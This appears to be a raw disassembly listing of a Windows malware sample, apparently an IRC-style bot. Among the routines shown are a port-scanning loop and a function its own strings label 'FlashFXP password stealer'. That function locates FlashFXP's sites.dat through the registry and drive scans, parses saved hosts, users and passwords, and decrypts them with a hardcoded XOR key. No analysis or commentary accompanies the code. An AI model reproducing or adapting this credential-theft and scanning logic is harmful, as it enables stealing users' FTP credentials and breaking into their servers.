sub eax, [ebp-4] push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41D028 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: cAddress:00414217j movsx eax, byte ptr [ebp-16h] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp-4] cmp eax, [ebp-1B2h] jb short loc_41428B lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41CFF0 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: cAddress:00414265j lea eax, [ebp-1B8h] push eax lea eax, [ebp-2B8h] push eax push offset dword_41CFC0 lea eax, [ebp-1AEh] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: cAddress:0041424Dj ; cAddress:00414255j ... push dword ptr [ebp-2BCh] call sub_409763 pop ecx xor eax, eax leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D058 push 0 push [ebp+var_C] push offset loc_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; --------------------------------------------------------------------------- loc_4143B0: ; DATA XREF: sub_414600+1D6o push ebp mov ebp, esp sub esp, 2DCh push 2B3h push dword ptr [ebp+8] lea eax, [ebp-2C0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx mov ax, [ebp-1BCh] mov [ebp-0Ch], ax push dword ptr [ebp-1B4h] call sub_404D10 pop ecx mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_41440C push dword ptr [ebp-2C0h] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: cAddress:004143F7j push dword ptr [ebp-1B4h] movzx eax, word ptr [ebp-1BAh] push eax movzx eax, word ptr [ebp-1BCh] push eax lea eax, [ebp-2BCh] push eax mov eax, [ebp-2C0h] push dword ptr [eax] push offset dword_41D0C8 lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 1Ch movsx eax, byte ptr [ebp-18h] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C ; Sleep loc_414458: ; CODE XREF: cAddress:0041444Bj call sub_416B64 ; clock mov [ebp-2C4h], eax and dword ptr [ebp-4], 0 loc_414467: ; CODE XREF: cAddress:004144EAj ; cAddress:004145A0j mov eax, [ebp-2C0h] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, word ptr [ebp-0Ch] movzx ecx, word ptr [ebp-1BAh] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: cAddress:00414471j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: cAddress:00414480j push 0Ah lea eax, [ebp-2CCh] push eax movzx eax, word ptr [ebp-0Ch] push eax call sub_416F7A ; _itoa add esp, 0Ch push dword ptr [ebp-8] push 0 lea eax, [ebp-2CCh] push eax lea eax, [ebp-2BCh] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp-2D0h], eax mov ax, [ebp-0Ch] add ax, 1 mov [ebp-0Ch], ax cmp dword ptr [ebp-2D0h], 0 jz short loc_4144EF movzx eax, word ptr [ebp-0Ch] movzx ecx, word ptr [ebp-1BAh] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: cAddress:004144D9j ; cAddress:004144E8j push dword ptr [ebp-1B8h] call dword_41709C ; Sleep push dword ptr [ebp-8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: cAddress:00414592j mov eax, [ebp-2C0h] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: cAddress:00414516j push dword ptr [ebp-8] call sub_404F24 pop ecx mov [ebp-2D8h], eax cmp dword ptr [ebp-2D8h], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: cAddress:00414530j lea eax, [ebp-2CCh] push eax push dword ptr [ebp-2D8h] call sub_4045B2 pop ecx pop ecx mov eax, [ebp-4] inc eax mov [ebp-4], eax mov al, [ebp-18h] mov [ebp-2D4h], al and byte ptr [ebp-18h], 0 lea eax, [ebp-2CCh] push eax lea eax, [ebp-2BCh] push eax push offset dword_41D0B4 lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 10h mov al, [ebp-2D4h] mov [ebp-18h], al push 3E8h call dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: cAddress:00414506j ; cAddress:00414518j ... push dword ptr [ebp-8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: cAddress:loc_414482j push dword ptr [ebp-4] call sub_416B64 ; clock sub eax, [ebp-2C4h] mov [ebp-2DCh], eax fild dword ptr [ebp-2DCh] fdiv flt_417270 push ecx push ecx fstp qword ptr [esp] lea eax, [ebp-2BCh] push eax push offset unk_41D078 lea eax, [ebp-1B0h] push eax call sub_40D53F add esp, 18h push dword ptr [ebp-8] call sub_404FD0 pop ecx push dword ptr [ebp-2C0h] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: cAddress:00414407j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D110 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset loc_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: cAddress:00414D91p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset a02x ; "%02X" push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: cAddress:00414A4Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; --------------------------------------------------------------------------- loc_414A1E: ; DATA XREF: sub_414EB0+35o push ebp mov ebp, esp sub esp, 5E0h push 1A7h push dword ptr [ebp+8] lea eax, [ebp-32Ch] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx lea eax, [ebp-180h] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push dword ptr [ebp-32Ch] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: cAddress:00414A56j mov eax, [ebp-32Ch] push dword ptr [eax] push offset unk_41D2E0 lea eax, [ebp-328h] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-184h], 0 and dword ptr [ebp-334h], 0 mov al, [ebp-190h] mov [ebp-330h], al and byte ptr [ebp-190h], 0 push offset aRb ; "rb" lea eax, [ebp-180h] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp-3C4h], eax cmp dword ptr [ebp-3C4h], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: cAddress:00414AC8j push 2 push 0 push dword ptr [ebp-3C4h] call sub_416B96 ; fseek add esp, 0Ch push dword ptr [ebp-3C4h] call sub_416B76 ; ftell pop ecx mov [ebp-3C0h], eax cmp dword ptr [ebp-3C0h], 100000h jnb short loc_414B0D mov eax, [ebp-3C0h] mov [ebp-5E0h], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: cAddress:00414AFDj mov dword ptr [ebp-5E0h], 100000h loc_414B17: ; CODE XREF: cAddress:00414B0Bj mov eax, [ebp-5E0h] mov [ebp-3C0h], eax push 0 push 0 push dword ptr [ebp-3C4h] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp-3C0h] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp-3BCh], eax cmp dword ptr [ebp-3BCh], 0 jnz short loc_414B63 push dword ptr [ebp-3C4h] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: cAddress:00414B50j push dword ptr [ebp-3C4h] push dword ptr [ebp-3C0h] push 1 push dword ptr [ebp-3BCh] call sub_416B90 ; fread add esp, 10h push dword ptr [ebp-3C4h] call sub_416B82 ; fclose pop ecx mov eax, [ebp-3BCh] add eax, [ebp-3C0h] and byte ptr [eax], 0 mov eax, [ebp-3BCh] mov [ebp-3B8h], eax loc_414BA6: ; CODE XREF: cAddress:00414E46j push offset asc_41D2D8 ; "\r\n\r\n[" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5DCh], eax mov eax, [ebp-3B8h] mov [ebp-5D0h], eax push offset aIp ; "\r\nIP=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5C8h], eax push offset aPort ; "\r\nPort=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5D8h], eax push offset aUser ; "\r\nUser=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5CCh], eax push offset aPass ; "\r\nPass=" push dword ptr [ebp-3B8h] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp-5D4h], eax cmp dword ptr [ebp-5C8h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414C52 mov eax, [ebp-5C8h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414C52: ; CODE XREF: cAddress:00414C3Ej cmp dword ptr [ebp-5D8h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414C7A mov eax, [ebp-5D8h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414C7A: ; CODE XREF: cAddress:00414C66j cmp dword ptr [ebp-5CCh], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414CA2 mov eax, [ebp-5CCh] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414CA2: ; CODE XREF: cAddress:00414C8Ej cmp dword ptr [ebp-5D4h], 0 jz loc_414E13 cmp dword ptr [ebp-5DCh], 0 jz short loc_414CCA mov eax, [ebp-5D4h] cmp eax, [ebp-5DCh] jnb loc_414E13 loc_414CCA: ; CODE XREF: cAddress:00414CB6j and byte ptr [ebp-4C4h], 0 mov al, [ebp-4C4h] mov [ebp-3B4h], al mov al, [ebp-3B4h] mov [ebp-5C4h], al mov al, [ebp-5C4h] mov [ebp-444h], al mov al, [ebp-444h] mov [ebp-544h], al lea eax, [ebp-544h] push eax push offset asc_41D2AC ; "[%[^]]]\r\n" push dword ptr [ebp-5D0h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-444h] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push dword ptr [ebp-5C8h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-5C4h] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push dword ptr [ebp-5D8h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-3B4h] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push dword ptr [ebp-5CCh] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-4C4h] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push dword ptr [ebp-5D4h] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp-4C4h] push eax lea eax, [ebp-4C4h] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: cAddress:00414D9Aj mov eax, [ebp-334h] inc eax mov [ebp-334h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-544h] push eax lea eax, [ebp-5C4h] push eax lea eax, [ebp-444h] push eax lea eax, [ebp-4C4h] push eax lea eax, [ebp-3B4h] push eax push dword ptr [ebp-334h] push offset dword_41D240 lea eax, [ebp-328h] push eax call sub_40D53F add esp, 20h mov eax, [ebp-32Ch] cmp dword ptr [eax+4], 0 jz short loc_414E13 push dword ptr [ebp-3BCh] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: cAddress:00414C31j ; cAddress:00414C4Cj ... mov eax, [ebp-184h] inc eax mov [ebp-184h], eax mov eax, [ebp-5DCh] mov [ebp-3B8h], eax cmp dword ptr [ebp-3B8h], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: cAddress:00414E33j mov eax, [ebp-3B8h] add eax, 4 mov [ebp-3B8h], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: cAddress:00414D9Cj ; cAddress:00414E35j push dword ptr [ebp-3BCh] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: cAddress:loc_414EA6j mov al, [ebp-330h] mov [ebp-190h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-184h] push dword ptr [ebp-334h] mov eax, [ebp-32Ch] push dword ptr [eax] push offset unk_41D204 lea eax, [ebp-328h] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: cAddress:loc_414EA8j ; cAddress:loc_414EAAj push dword ptr [ebp-32Ch] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: cAddress:00414E0Ej jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: cAddress:00414B5Ej jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: cAddress:00414ACAj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: cAddress:00414A66j ; cAddress:00414EA4j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset loc_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; --------------------------------------------------------------------------- aOa db '¸ÝoA',0 ; DATA XREF: sub_415AF0+40o db 0E8h, 12h, 1Fh dd 0EC810000h, 0FFCh, 0A7685756h, 0FF000001h, 858D0875h dd 0FFFFF410h, 1C38E850h, 0C4830000h, 875FF0Ch, 1C27E8h dd 0A5835900h, 0FFFFF600h, 0FC658300h, 0BD8300h, 0FFFFF6h dd 858B1274h, 0FFFFF600h, 0F6008D8Bh, 98BFFFFh, 851FF50h dd 0F600A583h, 6A00FFFFh, 6A006A00h, 858D00h, 50FFFFF6h dd 0DE5015FFh, 85890041h, 0FFFFF20Ch, 0F20CBD83h, 7D00FFFFh dd 10B5FF3Dh, 0E8FFFFF4h, 0FFFF47E3h, 30A58359h, 0FFFFF0h dd 0FFFC4D83h, 0F600BD83h, 7400FFFFh, 858B12h, 8BFFFFF6h dd 0FFF6008Dh, 50098BFFh, 8B0851FFh, 0FFF03085h, 0B2EE9FFh dd 65830000h, 45C600F0h, 7D8301FCh, 0C7400F0h, 8BF0458Bh dd 98BF04Dh, 851FF50h, 0F06583h, 0F600BD83h, 7500FFFFh dd 4003680Ah, 5DE88000h, 8B00001Eh, 0FFF60085h, 208589FFh dd 8DFFFFF0h, 6A50F045h, 8B006A00h, 0FFF02085h, 0FF008BFFh dd 0FFF020B5h, 3850FFFFh, 0F0248589h, 0BD83FFFFh, 0FFFFF024h dd 68167D00h, 41D570h, 0F020B5FFh, 0B5FFFFFFh, 0FFFFF024h dd 1E21E8h, 24858B00h, 89FFFFF0h, 0FFF20C85h, 0CBD83FFh dd 0FFFFF2h, 0B5FF537Dh, 0FFFFF410h, 0FF4716E8h, 0A58359FFh dd 0FFFFF02Ch, 0FC658000h, 0F07D8300h, 